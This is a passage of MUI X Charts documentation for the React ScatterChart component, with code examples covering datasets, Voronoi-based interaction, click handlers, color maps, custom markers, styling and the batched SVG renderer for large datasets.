const numberFormatter = new Intl.NumberFormat('en-US').format;

const TooltipPaper = styled('div', {
  name: 'Tooltip',
  slot: 'Paper',
})(({ theme }) => {
  return {
    padding: theme.spacing(1),
    backgroundColor: (theme.vars || theme).palette.background.paper,
    color: (theme.vars || theme).palette.text.primary,
    borderRadius: (theme.vars || theme).shape?.borderRadius,
    border: `solid ${(theme.vars || theme).palette.divider} 1px`,
  };
});

function CustomTooltip() {
  const item = useItemTooltip<'scatter'>();

  return (
    <ChartsTooltipContainer trigger="item">
      <TooltipPaper>
        <Box sx={{ display: 'flex', flexDirection: 'row', alignItems: 'center' }}>
          <Box
            sx={{
              width: 20,
              height: 20,
              backgroundColor: item?.color,
              borderRadius: 1,
              mr: 2,
            }}
          />
          <Typography>{item?.label}</Typography>
        </Box>
        <Divider sx={{ my: 1 }} />
        <Box
          sx={{
            display: 'flex',
            flexDirection: 'row',
            justifyContent: 'space-between',
          }}
        >
          <Typography sx={{ mr: 3 }}>{item?.value.x}</Typography>
          <Typography>
            {item?.value.y == null
              ? 'NaN'
              : `${numberFormatter(item?.value.y)} transistor/mm²`}
          </Typography>
        </Box>
      </TooltipPaper>
    </ChartsTooltipContainer>
  );
}

export default function ScatterOverview() {
  return (
    <Stack width="100%">
      <Typography align="center">Processor density (in transistor/mm²)</Typography>
      <ScatterChart
        height={300}
        series={series}
        grid={{ horizontal: true, vertical: true }}
        voronoiMaxRadius={20}
        slots={{ tooltip: CustomTooltip }}
        {...chartSetting}
      />
    </Stack>
  );
}

```

## Basics

Scatter chart series should contain a `data` property containing an array of objects.
Those objects require the `x` and `y` properties.
With an optional `id` property if more optimization is needed.

```tsx
import { ScatterChart } from '@mui/x-charts/ScatterChart';
import data from '../dataset/random/scatterParallel.json';

export default function BasicScatter() {
  return (
    <ScatterChart
      height={300}
      series={[
        {
          label: 'Series A',
          data: data.map((v) => ({ x: v.x1, y: v.y1, id: v.id })),
        },
        {
          label: 'Series B',
          data: data.map((v) => ({ x: v.x2, y: v.y2, id: v.id })),
        },
      ]}
    />
  );
}

```

### Using a dataset

If your data is stored in an array of objects, you can use the `dataset` helper prop.
It accepts an array of objects such as `dataset={[{a: 1, b: 32, c: 873}, {a: 2, b: 41, c: 182}, ...]}`.

You can reuse this data when defining the series.
The scatter series work a bit differently than in other charts.
You need to specify the `datasetKeys` properties which is an object that requires the `x` and `y` keys.
With an optional `id` and `z` keys if needed.

```tsx
import { ScatterChart } from '@mui/x-charts/ScatterChart';

export default function ScatterDataset() {
  return (
    <ScatterChart
      dataset={dataset}
      series={[
        { datasetKeys: { x: 'x1', y: 'y1' }, label: 'Series A' },
        { datasetKeys: { x: 'x2', y: 'y2' }, label: 'Series B' },
      ]}
      {...chartSetting}
    />
  );
}

const dataset = [
  { x1: 373, y1: 434, x2: 304, y2: 349 },
  { x1: 173, y1: 437, x2: 208, y2: 347 },
  { x1: 68, y1: 292, x2: 151, y2: 280 },
  { x1: 121, y1: 116, x2: 185, y2: 176 },
  { x1: 322, y1: 61, x2: 278, y2: 170 },
  { x1: 466, y1: 210, x2: 346, y2: 246 },
  { x1: 418, y1: 403, x2: 326, y2: 333 },
  { x1: 224, y1: 449, x2: 235, y2: 352 },
  { x1: 87, y1: 335, x2: 158, y2: 311 },
  { x1: 104, y1: 167, x2: 166, y2: 218 },
  { x1: 262, y1: 70, x2: 251, y2: 161 },
  { x1: 421, y1: 167, x2: 335, y2: 199 },
  { x1: 442, y1: 352, x2: 341, y2: 302 },
  { x1: 294, y1: 474, x2: 264, y2: 366 },
  { x1: 101, y1: 386, x2: 174, y2: 318 },
  { x1: 64, y1: 198, x2: 154, y2: 227 },
  { x1: 222, y1: 75, x2: 223, y2: 181 },
  { x1: 411, y1: 105, x2: 316, y2: 204 },
  { x1: 457, y1: 290, x2: 349, y2: 274 },
  { x1: 348, y1: 455, x2: 291, y2: 357 },
  { x1: 165, y1: 427, x2: 195, y2: 358 },
  { x1: 65, y1: 277, x2: 150, y2: 265 },
  { x1: 153, y1: 94, x2: 197, y2: 175 },
  { x1: 340, y1: 93, x2: 294, y2: 163 },
  { x1: 476, y1: 253, x2: 352, y2: 264 },
  { x1: 385, y1: 425, x2: 317, y2: 332 },
  { x1: 221, y1: 448, x2: 221, y2: 376 },
  { x1: 60, y1: 327, x2: 154, y2: 281 },
  { x1: 129, y1: 128, x2: 175, y2: 213 },
  { x1: 304, y1: 67, x2: 267, y2: 173 },
  { x1: 447, y1: 175, x2: 343, y2: 223 },
  { x1: 425, y1: 378, x2: 335, y2: 313 },
  { x1: 273, y1: 463, x2: 250, y2: 377 },
  { x1: 80, y1: 387, x2: 166, y2: 304 },
  { x1: 86, y1: 172, x2: 159, y2: 224 },
  { x1: 247, y1: 64, x2: 238, y2: 172 },
  { x1: 419, y1: 126, x2: 328, y2: 200 },
  { x1: 463, y1: 317, x2: 347, y2: 301 },
  { x1: 308, y1: 473, x2: 278, y2: 352 },
  { x1: 147, y1: 405, x2: 183, y2: 356 },
  { x1: 64, y1: 224, x2: 151, y2: 246 },
  { x1: 175, y1: 78, x2: 210, y2: 163 },
  { x1: 384, y1: 96, x2: 308, y2: 187 },
  { x1: 473, y1: 275, x2: 354, y2: 273 },
  { x1: 387, y1: 455, x2: 306, y2: 367 },
  { x1: 193, y1: 445, x2: 208, y2: 372 },
  { x1: 51, y1: 298, x2: 151, y2: 264 },
  { x1: 154, y1: 116, x2: 187, y2: 205 },
  { x1: 342, y1: 73, x2: 283, y2: 184 },
  { x1: 467, y1: 199, x2: 348, y2: 246 },
];

const chartSetting = {
  yAxis: [
    {
      label: 'rainfall (mm)',
      width: 60,
    },
  ],
  height: 300,
};

```

## Interaction

Since scatter elements can be small, interactions do not require hovering exactly over an element.
When the pointer is in the drawing area, the closest scatter element will be used for interactions (tooltip or highlights).
To do so, the chart computes [Voronoi cells](https://en.wikipedia.org/wiki/Voronoi_diagram) which map the pointer position to the closest element.

You can define a maximal radius with the `voronoiMaxRadius` prop.
If the distance with the pointer is larger than this radius, no item will be selected.
Alternatively, set the `voronoiMaxRadius` prop to `item` to trigger interactions only when hovering exactly over an element instead of Voronoi cells.

```tsx
/* eslint-disable no-nested-ternary */

import * as React from 'react';
import Stack from '@mui/material/Stack';
import FormControlLabel from '@mui/material/FormControlLabel';
import Typography from '@mui/material/Typography';
import Slider from '@mui/material/Slider';
import { ScatterChart } from '@mui/x-charts/ScatterChart';
import Radio from '@mui/material/Radio';
import RadioGroup from '@mui/material/RadioGroup';
import data from '../dataset/random/scatterParallel.json';

export default function VoronoiInteraction() {
  const [option, setOption] = React.useState<'item' | 'undefined' | 'numeric'>(
    'numeric',
  );
  const [voronoiMaxRadius, setVoronoiMaxRadius] = React.useState<number>(25);

  const handleMaxRadiusChange = (event: Event, newValue: number | number[]) => {
    if (typeof newValue !== 'number') {
      return;
    }
    setVoronoiMaxRadius(newValue);
  };

  return (
    <Stack direction="column" sx={{ width: '100%' }}>
      <ScatterChart
        height={300}
        voronoiMaxRadius={
          option === 'undefined'
            ? undefined
            : option === 'item'
              ? 'item'
              : voronoiMaxRadius
        }
        dataset={data}
        series={[
          {
            label: 'Series A',
            data: data.map((v) => ({ x: v.x1, y: v.y1, id: v.id })),
          },
          {
            label: 'Series B',
            data: data.map((v) => ({ x: v.x2, y: v.y2, id: v.id })),
          },
        ]}
      />
      <div>
        <Typography gutterBottom>Maximum radius</Typography>
        <RadioGroup
          onChange={(event) =>
            setOption(event.target.value as 'item' | 'undefined' | 'numeric')
          }
        >
          <Stack direction="row">
            <FormControlLabel
              checked={option === 'item'}
              control={<Radio />}
              label="'item'"
              labelPlacement="end"
              value="item"
            />
            <FormControlLabel
              checked={option === 'undefined'}
              control={<Radio />}
              label="undefined"
              labelPlacement="end"
              value="undefined"
            />
            <FormControlLabel
              checked={option === 'numeric'}
              control={<Radio />}
              label="numeric radius"
              labelPlacement="end"
              value="numeric"
            />
          </Stack>
        </RadioGroup>

        <Typography id="max-radius-value" gutterBottom>
          Numeric radius
        </Typography>
        <Slider
          value={voronoiMaxRadius}
          onChange={handleMaxRadiusChange}
          valueLabelDisplay="auto"
          min={1}
          max={100}
          aria-labelledby="max-radius-value"
          disabled={option !== 'numeric'}
        />
      </div>
    </Stack>
  );
}

```

## Click event

Scatter Chart provides an `onItemClick` handler for handling clicks on specific scatter items.
It has the following signature.

```js
const onItemClick = (
  event, // The mouse event.
  params, // An object that identifies the clicked elements.
) => {};
```

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import IconButton from '@mui/material/IconButton';
import UndoOutlinedIcon from '@mui/icons-material/UndoOutlined';

import { ScatterChart } from '@mui/x-charts/ScatterChart';

import { HighlightedCode } from '@mui/docs/HighlightedCode';
import { ScatterItemIdentifier } from '@mui/x-charts/models';

const scatterChartsParams = {
  series: [
    {
      id: 'series-1',
      data: [
        { x: 6.5e-2, y: -1.3, id: 0 },
        { x: -2.1, y: -7.0e-1, id: 1 },
        { x: -7.6e-1, y: -6.7e-1, id: 2 },
        { x: -1.5e-2, y: -2.0e-1, id: 3 },
        { x: -1.4, y: -9.9e-1, id: 4 },
        { x: -1.1, y: -1.5, id: 5 },
        { x: -7.0e-1, y: -2.7e-1, id: 6 },
        { x: -5.1e-1, y: -8.8e-1, id: 7 },
        { x: -4.0e-3, y: -1.4, id: 8 },
        { x: -1.3, y: -2.2, id: 9 },
      ],
      label: 'A',
      highlightScope: {
        highlight: 'item',
      },
    },
    {
      id: 'series-2',
      data: [
        { x: 1.8, y: -1.7e-2, id: 0 },
        { x: 7.1e-1, y: 2.6e-1, id: 1 },
        { x: -1.2, y: 9.8e-1, id: 2 },
        { x: 2.0, y: -2.0e-1, id: 3 },
        { x: 9.4e-1, y: -2.7e-1, id: 4 },
        { x: -4.8e-1, y: -1.6e-1, id: 5 },
        { x: -1.5, y: 1.1, id: 6 },
        { x: 1.3, y: 3.4e-1, id: 7 },
        { x: -4.2e-1, y: 1.0e-1, id: 8 },
        { x: 5.4e-2, y: 4.0e-1, id: 9 },
      ],
      label: 'B',
      highlightScope: {
        highlight: 'item',
      },
    },
  ],
  height: 400,
} as const;

export default function ScatterClick() {
  const [data, setData] = React.useState<ScatterItemIdentifier>();

  const { ...other } = data ?? {};
  const dataDisplayed = data && {
    ...other,
  };
  return (
    <Stack
      direction={{ xs: 'column', md: 'row' }}
      spacing={{ xs: 0, md: 4 }}
      sx={{ width: '100%' }}
    >
      <Box sx={{ flexGrow: 1 }}>
        <ScatterChart
          {...scatterChartsParams}
          onItemClick={(_: any, d: ScatterItemIdentifier) => setData(d)}
        />
      </Box>
      <Stack direction="column" sx={{ width: { xs: '100%', md: '40%' } }}>
        <Box
          sx={{
            display: 'flex',
            justifyContent: 'space-between',
            alignItems: 'center',
          }}
        >
          <Typography>Click on the chart</Typography>
          <IconButton
            aria-label="reset"
            size="small"
            onClick={() => setData(undefined)}
          >
            <UndoOutlinedIcon fontSize="small" />
          </IconButton>
        </Box>
        <HighlightedCode
          code={
            dataDisplayed
              ? JSON.stringify(dataDisplayed, null, 1)
              : '// The data will appear here'
          }
          language="json"
          copyButtonHidden
        />
      </Stack>
    </Stack>
  );
}

```

If `voronoiMaxRadius` is `item`, users need to click precisely on the scatter element, and the mouse event will come from this element.

Otherwise, the click behavior will be the same as defined in the [interaction section](#interaction) and the mouse event will come from the svg component.

## Styling

### Color scale

As with other charts, you can modify the [series color](/x/react-charts/styling/#colors) either directly, or with the color palette.

You can also modify the color by using axes `colorMap` which maps values to colors.
The scatter charts use by priority:

1. The z-axis color
2. The y-axis color
3. The x-axis color
4. The series color

:::info
The z-axis is a third axis that lets you customize scatter points independently from their positions.
It can be provided with `zAxis` props.

The value to map can either come from the `z` property of series data, or from the zAxis data.
Here are three ways to set z value to 5.

```jsx
<ScatterChart
  // First option
  series={[{ data: [{ id: 0, x: 1, y: 1, z: 5 }] }]}
  // Second option
  zAxis={[{ data: [5] }]}
  // Third option
  dataset={[{ price: 5 }]}
  zAxis={[{ dataKey: 'price' }]}
/>
```

:::

Learn more about the `colorMap` properties in the [Styling docs](/x/react-charts/styling/#values-color).

```tsx
import * as React from 'react';
import { ScatterChart } from '@mui/x-charts/ScatterChart';
import { ScatterValueType } from '@mui/x-charts/models';
import Stack from '@mui/material/Stack';
import Typography from '@mui/material/Typography';
import ToggleButtonGroup from '@mui/material/ToggleButtonGroup';
import ToggleButton from '@mui/material/ToggleButton';
import { HighlightedCode } from '@mui/docs/HighlightedCode';
import { Chance } from 'chance';

const POINTS_NUMBER = 50;
const chance = new Chance(42);

export default function ColorScale() {
  const [colorX, setColorX] = React.useState<'None' | 'piecewise' | 'continuous'>(
    'piecewise',
  );
  const [colorY, setColorY] = React.useState<'None' | 'piecewise' | 'continuous'>(
    'None',
  );
  const [colorZ, setColorZ] = React.useState<
    'None' | 'piecewise' | 'continuous' | 'ordinal'
  >('None');

  return (
    <Stack direction="column" spacing={1} sx={{ width: '100%', maxWidth: 600 }}>
      <Stack
        direction="row"
        gap={1}
        sx={{
          width: '100%',
          '&>div': {
            display: 'flex',
            flexDirection: 'column',
          },
        }}
        flexWrap="wrap"
      >
        <div>
          <Typography variant="caption">x-axis colorMap</Typography>
          <ToggleButtonGroup
            color="primary"
            size="small"
            exclusive
            value={colorX}
            onChange={(_, value: 'None' | 'piecewise' | 'continuous') =>
              setColorX(value)
            }
            aria-label="Platform"
          >
            <ToggleButton value="None">None</ToggleButton>
            <ToggleButton value="piecewise">piecewise</ToggleButton>
            <ToggleButton value="continuous">continuous</ToggleButton>
          </ToggleButtonGroup>
        </div>
        <div>
          <Typography variant="caption">y-axis colorMap</Typography>
          <ToggleButtonGroup
            color="primary"
            size="small"
            exclusive
            value={colorY}
            onChange={(_, value: 'None' | 'piecewise' | 'continuous') =>
              setColorY(value)
            }
            aria-label="Platform"
          >
            <ToggleButton value="None">None</ToggleButton>
            <ToggleButton value="piecewise">piecewise</ToggleButton>
            <ToggleButton value="continuous">continuous</ToggleButton>
          </ToggleButtonGroup>
        </div>
        <div>
          <Typography variant="caption">z-axis colorMap</Typography>
          <ToggleButtonGroup
            color="primary"
            size="small"
            exclusive
            value={colorZ}
            onChange={(_, value: 'None' | 'piecewise' | 'continuous' | 'ordinal') =>
              setColorZ(value)
            }
            aria-label="Platform"
          >
            <ToggleButton value="None">None</ToggleButton>
            <ToggleButton value="piecewise">piecewise</ToggleButton>
            <ToggleButton value="continuous">continuous</ToggleButton>
            <ToggleButton value="ordinal">ordinal</ToggleButton>
          </ToggleButtonGroup>
        </div>
      </Stack>

      <ScatterChart
        height={300}
        grid={{ horizontal: true, vertical: true }}
        series={series}
        yAxis={[
          {
            min: -3,
            max: 3,
            tickInterval: [-3, -1.5, 0, 1.5, 3],
            colorMap:
              (colorY === 'continuous' && {
                type: 'continuous',
                min: -2,
                max: 2,
                color: ['blue', 'red'],
              }) ||
              (colorY === 'piecewise' && {
                type: 'piecewise',
                thresholds: [-1.5, 0, 1.5],
                colors: ['lightblue', 'blue', 'orange', 'red'],
              }) ||
              undefined,
          },
        ]}
        xAxis={[
          {
            min: -3,
            max: 3,
            tickInterval: [-3, -1.5, 0, 1.5, 3],
            colorMap:
              (colorX === 'continuous' && {
                type: 'continuous',
                min: -2,
                max: 2,
                color: ['green', 'orange'],
              }) ||
              (colorX === 'piecewise' && {
                type: 'piecewise',
                thresholds: [-1.5, 0, 1.5],
                colors: ['#d01c8b', '#f1b6da', '#b8e186', '#4dac26'],
              }) ||
              undefined,
          },
        ]}
        zAxis={[
          {
            data:
              colorZ === 'ordinal'
                ? [
                    ...[...Array(POINTS_NUMBER)].map(() => 'A'),
                    ...[...Array(POINTS_NUMBER)].map(() => 'B'),
                    ...[...Array(POINTS_NUMBER)].map(() => 'C'),
                    ...[...Array(POINTS_NUMBER)].map(() => 'D'),
                  ]
                : undefined,
            colorMap:
              (colorZ === 'continuous' && {
                type: 'continuous',
                min: -2,
                max: 2,
                color: ['green', 'orange'],
              }) ||
              (colorZ === 'piecewise' && {
                type: 'piecewise',
                thresholds: [-1.5, 0, 1.5],
                colors: ['#d01c8b', '#f1b6da', '#b8e186', '#4dac26'],
              }) ||
              (colorZ === 'ordinal' && {
                type: 'ordinal',

                values: ['A', 'B', 'C', 'D'],
                colors: ['#d01c8b', '#f1b6da', '#b8e186', '#4dac26'],
              }) ||
              undefined,
          },
        ]}
      />
      <HighlightedCode
        code={[
          `<ScatterChart`,
          '  /* ... */',
          '  series={[{ data: data.map(point => ({...point, z: point.x + point.y})) }]}',
          // ColorX
          ...(colorX === 'None' ? ['  xAxis={[{}]}'] : []),
          ...(colorX === 'continuous'
            ? [
                '  xAxis={[{',
                `    colorMap: {`,
                `      type: 'continuous',`,
                `      min: -2,`,
                `      max: 2,`,
                `      color: ['green', 'orange']`,
                `    }`,
                '  }]}',
              ]
            : []),
          ...(colorX === 'piecewise'
            ? [
                '  xAxis={[{',
                `    colorMap: {`,
                `      type: 'piecewise',`,
                `      thresholds: [-1.5, 0, 1.5],`,
                `      colors: ['#d01c8b', '#f1b6da', '#b8e186', '#4dac26'],`,
                `    }`,
                '  }]}',
              ]
            : []),

          // ColorY
          ...(colorY === 'None' ? ['  yAxis={[{}]}'] : []),
          ...(colorY === 'continuous'
            ? [
                '  yAxis={[{',
                `    colorMap: {`,
                `      type: 'continuous',`,
                `      min: -2,`,
                `      max: 2,`,
                `      color: ['blue', 'red']`,
                `    }`,
                '  }]}',
              ]
            : []),
          ...(colorY === 'piecewise'
            ? [
                '  yAxis={[{',
                `    colorMap: {`,
                `      type: 'piecewise',`,
                `      thresholds: [-1.5, 0, 1.5],`,
                `      colors: ['lightblue', 'blue', 'orange', 'red'],`,
                `    }`,
                '  }]}',
              ]
            : []),

          // ColorZ
          ...(colorZ === 'None' ? ['  zAxis={[{}]}'] : []),
          ...(colorZ === 'continuous'
            ? [
                '  zAxis={[{',
                `    colorMap: {`,
                `      type: 'continuous',`,
                `      min: -2,`,
                `      max: 2,`,
                `      color: ['green', 'orange'],`,
                `    }`,
                '  }]}',
              ]
            : []),
          ...(colorZ === 'piecewise'
            ? [
                '  zAxis={[{',
                `    colorMap: {`,
                `      type: 'piecewise',`,
                `      thresholds: [-1.5, 0, 1.5],`,
                `      colors: ['#d01c8b', '#f1b6da', '#b8e186', '#4dac26'],`,
                `    }`,
                '  }]}',
              ]
            : []),
          ...(colorZ === 'ordinal'
            ? [
                '  zAxis={[{',
                `    data: ['A', ..., 'B', ..., 'C', ..., 'D', ...],`,
                `    colorMap: {`,
                `      type: 'ordinal',`,
                `      values: ['A', 'B', 'C', 'D'],`,
                `      colors: ['#d01c8b', '#f1b6da', '#b8e186', '#4dac26'],`,
                `    }`,
                '  }]}',
              ]
            : []),
          `/>`,
        ].join('\n')}
        language="jsx"
        copyButtonHidden
      />
    </Stack>
  );
}

const series = [
  {
    data: [
      ...getGaussianSeriesData([-1, -1]),
      ...getGaussianSeriesData([-1, 1]),
      ...getGaussianSeriesData([1, 1]),
      ...getGaussianSeriesData([1, -1]),
    ],
  },
].map((s) => ({
  ...s,
  valueFormatter: (v: ScatterValueType | null) =>
    v && `(${v.x.toFixed(1)}, ${v.y.toFixed(1)})`,
}));

function getGaussianSeriesData(
  mean: [number, number],
  stdev: [number, number] = [0.5, 0.5],
  N: number = 50,
) {
  return [...Array(N)].map((_, i) => {
    const x =
      Math.sqrt(-2.0 * Math.log(1 - chance.floating({ min: 0, max: 0.99 }))) *
        Math.cos(2.0 * Math.PI * chance.floating({ min: 0, max: 0.99 })) *
        stdev[0] +
      mean[0];
    const y =
      Math.sqrt(-2.0 * Math.log(1 - chance.floating({ min: 0, max: 0.99 }))) *
        Math.cos(2.0 * Math.PI * chance.floating({ min: 0, max: 0.99 })) *
        stdev[1] +
      mean[1];
    return { x, y, z: x + y, id: `${mean.join(',')}${i}` };
  });
}

```

### Grid

You can add a grid in the background of the chart with the `grid` prop.

See [Axis—Grid](/x/react-charts/axis/#grid) documentation for more information.

```tsx
import { ScatterChart } from '@mui/x-charts/ScatterChart';
import data from '../dataset/random/scatterParallel.json';

export default function GridDemo() {
  return (
    <ScatterChart
      height={300}
      series={[
        {
          label: 'Series A',
          data: data.map((v) => ({ x: v.x1, y: v.y1, id: v.id })),
        },
        {
          label: 'Series B',
          data: data.map((v) => ({ x: v.x2, y: v.y2, id: v.id })),
        },
      ]}
      grid={{ vertical: true, horizontal: true }}
    />
  );
}

```

### CSS

You can target scatter markers with the following CSS selectors:

- `[data-series='<series id>']` Selects the group containing markers of the series with the given id.
- `[data-highlighted=true]` Selects markers with highlighted state.
- `[data-faded=true]` Selects markers with faded state.

To select all marker groups, use the `scatterClasses.root` class name.

Here is an example that customizes the look of highlighted items depending on the series they belong to.

```tsx
import { ScatterChart, ScatterSeries } from '@mui/x-charts/ScatterChart';
import data from '../dataset/random/scatterParallel.json';

const series: ScatterSeries[] = [
  {
    id: 'series-1',
    label: 'Series A',
    data: data.map((v) => ({ x: v.x1, y: v.y1, id: v.id })),
    highlightScope: { highlight: 'item', fade: 'global' },
  },
  {
    id: 'series-2',
    label: 'Series B',
    data: data.map((v) => ({ x: v.x2, y: v.y2, id: v.id })),
    highlightScope: { highlight: 'item', fade: 'global' },
  },
];

export default function ScatterCSSSelectors() {
  return (
    <ScatterChart
      height={300}
      voronoiMaxRadius={30}
      series={series}
      sx={{
        '& [data-faded=true]': { opacity: 0.4 },
        "& [data-series='series-1'] [data-faded=true]": { fill: 'gray' },
        "& [data-series='series-1'] [data-highlighted=true]": {
          stroke: 'blue',
          strokeWidth: 3,
          fill: 'none',
        },
      }}
    />
  );
}

```

### Shape

The shape of points in a scatter chart can be customized by passing a component to the `marker` slot.

If you want the legend and tooltip to match, then you also need to customize the `labelMarkType` of each series, as shown in the example below.

```tsx
import { ScatterChart, ScatterMarkerProps } from '@mui/x-charts/ScatterChart';
import { ChartsLabelCustomMarkProps } from '@mui/x-charts/ChartsLabel';
import data from '../dataset/random/scatterParallel.json';

export default function ScatterCustomShape() {
  return (
    <ScatterChart
      height={300}
      series={[
        {
          id: '1',
          label: 'Series A',
          data: data.map((v) => ({ x: v.x1, y: v.y1, id: v.id })),
          markerSize: 1,
          labelMarkType: StarLabelMark,
        },
        {
          id: '2',
          label: 'Series B',
          data: data.map((v) => ({ x: v.x2, y: v.y2, id: v.id })),
          markerSize: 1,
          labelMarkType: DiamondLabelMark,
        },
      ]}
      slots={{ marker: CustomMarker }}
    />
  );
}

const star =
  'M0,-7.528L1.69,-2.326L7.16,-2.326L2.735,0.889L4.425,6.09L0,2.875L-4.425,6.09L-2.735,0.889L-7.16,-2.326L-1.69,-2.326Z';
const diamond = 'M0,-7.423L4.285,0L0,7.423L-4.285,0Z';

function CustomMarker({
  size,
  x,
  y,
  seriesId,
  isHighlighted,
  isFaded,
  dataIndex,
  color,
  ...other
}: ScatterMarkerProps) {
  const props = {
    x: 0,
    y: 0,
    width: (isHighlighted ? 1.2 : 1) * size,
    height: (isHighlighted ? 1.2 : 1) * size,
    transform: `translate(${x}, ${y})`,
    fill: color,
    opacity: isFaded ? 0.3 : 1,
    ...other,
  };

  return (
    <g {...props}>
      <path
        d={seriesId === '1' ? star : diamond}
        scale={(isHighlighted ? 1.2 : 1) * size}
      />
    </g>
  );
}

function StarLabelMark({ color, ...props }: ChartsLabelCustomMarkProps) {
  return (
    <svg viewBox="-7.423 -7.423 14.846 14.846">
      <path {...props} d={star} fill={color} />
    </svg>
  );
}

function DiamondLabelMark({ color, ...props }: ChartsLabelCustomMarkProps) {
  return (
    <svg viewBox="-7.423 -7.423 14.846 14.846">
      <path {...props} d={diamond} fill={color} />
    </svg>
  );
}

```

### Size

You can customize the size of points in a scatter chart using the `markerSize` prop of every series.
For circles, the `markerSize` is the radius of the point in pixels.

```tsx
import { ScatterChart } from '@mui/x-charts/ScatterChart';
import data from '../dataset/random/scatterParallel.json';

export default function ScatterCustomSize() {
  return (
    <ScatterChart
      height={300}
      series={[
        {
          label: 'Series A',
          data: data.map((v) => ({ x: v.x1, y: v.y1, id: v.id })),
          markerSize: 8,
        },
        {
          label: 'Series B',
          data: data.map((v) => ({ x: v.x2, y: v.y2, id: v.id })),
          markerSize: 4,
        },
      ]}
    />
  );
}

```

## Plot customization

You can customize the plotting of the data in a scatter chart by providing custom components as `children` of the `ScatterChart` component.

A scatter chart's series can be accessed through the `useScatterSeries` hook.
This hook returns the order of the series and information about the series themselves, including their data points, color, etc.

See [Custom components](/x/react-charts/components/) to learn how to further customize your charts.

```tsx
import { ScatterChart } from '@mui/x-charts/ScatterChart';
import { useScatterSeries, useXScale, useYScale } from '@mui/x-charts/hooks';

const data1 = [
  { x: 95, y: 200, id: 1 },
  { x: 120, y: 100, id: 2 },
  { x: 170, y: 300, id: 3 },
  { x: 140, y: 250, id: 4 },
  { x: 150, y: 400, id: 5 },
  { x: 110, y: 280, id: 6 },
];
const data2 = [
  { x: 300, y: 300, id: 1 },
  { x: 200, y: 700, id: 2 },
  { x: 400, y: 500, id: 3 },
  { x: 340, y: 350, id: 4 },
  { x: 420, y: 280, id: 5 },
];
const series = [
  { id: 's1', data: data1, label: 'Open' },
  { id: 's2', data: data2, label: 'Closed' },
];

function LinkPoints({ seriesId, close }: { seriesId: string; close?: boolean }) {
  const scatter = useScatterSeries(seriesId);
  const xScale = useXScale();
  const yScale = useYScale();

  if (!scatter) {
    return null;
  }
  const { color, data } = scatter;

  if (!data) {
    return null;
  }

  return (
    <path
      fill="none"
      stroke={color}
      strokeWidth={2}
      d={`M ${data.map(({ x, y }) => `${xScale(x)}, ${yScale(y)}`).join(' L')}${
        close ? 'Z' : ''
      }`}
    />
  );
}

export default function CustomScatter() {
  return (
    <ScatterChart series={series} height={300}>
      <LinkPoints seriesId="s1" />
      <LinkPoints seriesId="s2" close />
    </ScatterChart>
  );
}

```

## Performance

Scatter charts can have a lot of data points, which can impact performance. The default rendering of scatter points uses SVG `circle` elements, which can be slow for a large number of points.

To improve performance, you can use the `renderer` prop set to `"svg-batch"`, which renders the circles more efficiently.
However, this comes with the following limitations:

- CSS styling of single `circle` elements is no longer possible;
- Overriding the `marker` slot is not supported;
- Transparent highlight style: for performance reasons, the highlighted state creates a highlighted circle on top of the original marker. Applying transparency to the highlighted circle can cause the original circle to be partially visible;
- `disableHover` for scatter series does not work.

On top of that, there's also some differences in behavior:

- The rendering order might be different, which might cause overlapping circles to render at different depths when compared to the default rendering;
- When `disableVoronoi` is true, `onItemClick` does not work as it requires that plugin to work.

The example below uses the `renderer` prop to improve performance when rendering a dataset with 16,000 data points.

```tsx
import Stack from '@mui/material/Stack';
import Paper from '@mui/material/Paper';
import Divider from '@mui/material/Divider';
import { ChartsTooltipContainer, useItemTooltip } from '@mui/x-charts/ChartsTooltip';
import { ScatterChart, ScatterChartProps } from '@mui/x-charts/ScatterChart';
import Typography from '@mui/material/Typography';
import { schemePaired } from 'd3-scale-chromatic';
import { electricityGeneration2024Every6Hours } from '../dataset/electricityGeneration2024Every6Hours';
import { carbonEmissions2024Every6Hours } from '../dataset/carbonEmissions2024Every6Hours';
import { countryData, flags } from '../dataset/countryData';

const dateFormat = new Intl.DateTimeFormat(undefined, {
  month: 'short',
  day: 'numeric',
});

const timeRangeFormat = new Intl.DateTimeFormat(undefined, {
  hour: '2-digit',
  minute: '2-digit',
});

function getDatesFromIndex(index: number): [Date, Date] {
  const from = new Date(2024, 0, 1, index * 6);
  const to = new Date(2024, 0, 1, index * 6 + 6);
  return [from, to];
}

const scatterChartsParams = {
  series: Object.entries(electricityGeneration2024Every6Hours).map(
    ([countryCode, electricity]) => ({
      id: countryCode,
      data: electricity.map((value, index) => ({
        x: value / 1000,
        y: carbonEmissions2024Every6Hours[
          countryCode as keyof typeof electricityGeneration2024Every6Hours
        ][index],
      })),
      markerSize: 1,
      label:
        countryData[countryCode as keyof typeof electricityGeneration2024Every6Hours]
          .country,
      highlightScope: {
        highlight: 'series',
        fade: 'global',
      },
    }),
  ),
  xAxis: [{ min: 0, label: 'Electricity Generation (GWh)' }],
  yAxis: [{ min: 0, width: 60, label: 'Life-cycle Carbon Intensity (gCO₂eq/kWh)' }],
  height: 400,
  colors: schemePaired,
  slotProps: {
    legend: {
      position: { vertical: 'bottom' },
      sx: { justifyContent: 'center' },
    },
  },
  slots: {
    tooltip: ElectricityTooltip,
  },
} satisfies ScatterChartProps;

export default function ScatterBatchRenderer() {
  return (
    <Stack spacing={{ xs: 0, md: 2 }} sx={{ width: '100%' }}>
      <Typography variant="h6" sx={{ alignSelf: 'center', textAlign: 'center' }}>
        Life-cycle Carbon Intensity of Electricity Generation - 2024
      </Typography>
      <ScatterChart {...scatterChartsParams} renderer="svg-batch" />
      <Typography variant="caption">Source: ENTSO-E, ElectricityMaps.com</Typography>
    </Stack>
  );
}

function ElectricityTooltip() {
  return (
    <ChartsTooltipContainer trigger="item">
      <ElectricityTooltipContent />
    </ChartsTooltipContainer>
  );
}

function ElectricityTooltipContent() {
  const item = useItemTooltip<'scatter'>();

  if (!item) {
    return null;
  }

  const [from, to] = getDatesFromIndex(item.identifier.dataIndex);

  return (
    <Paper sx={{ p: 1.5 }} elevation={4}>
      <Typography
        variant="subtitle2"
        justifyContent={'space-between'}
        display="flex"
      >
        {item.label} {flags[item.identifier.seriesId as keyof typeof flags]}
      </Typography>
      <Typography variant="body2">
        {`${dateFormat.format(from)} ${timeRangeFormat.format(from)} - ${timeRangeFormat.format(to)}`}
      </Typography>
      <Divider sx={{ my: 1 }} />
      <Typography variant="body1">
        Generated:{' '}
        <Typography component="span" variant="body2">
          {item.value.x.toFixed(2)} GWh
        </Typography>
      </Typography>
      <Typography variant="body1">
        Emitting:{' '}
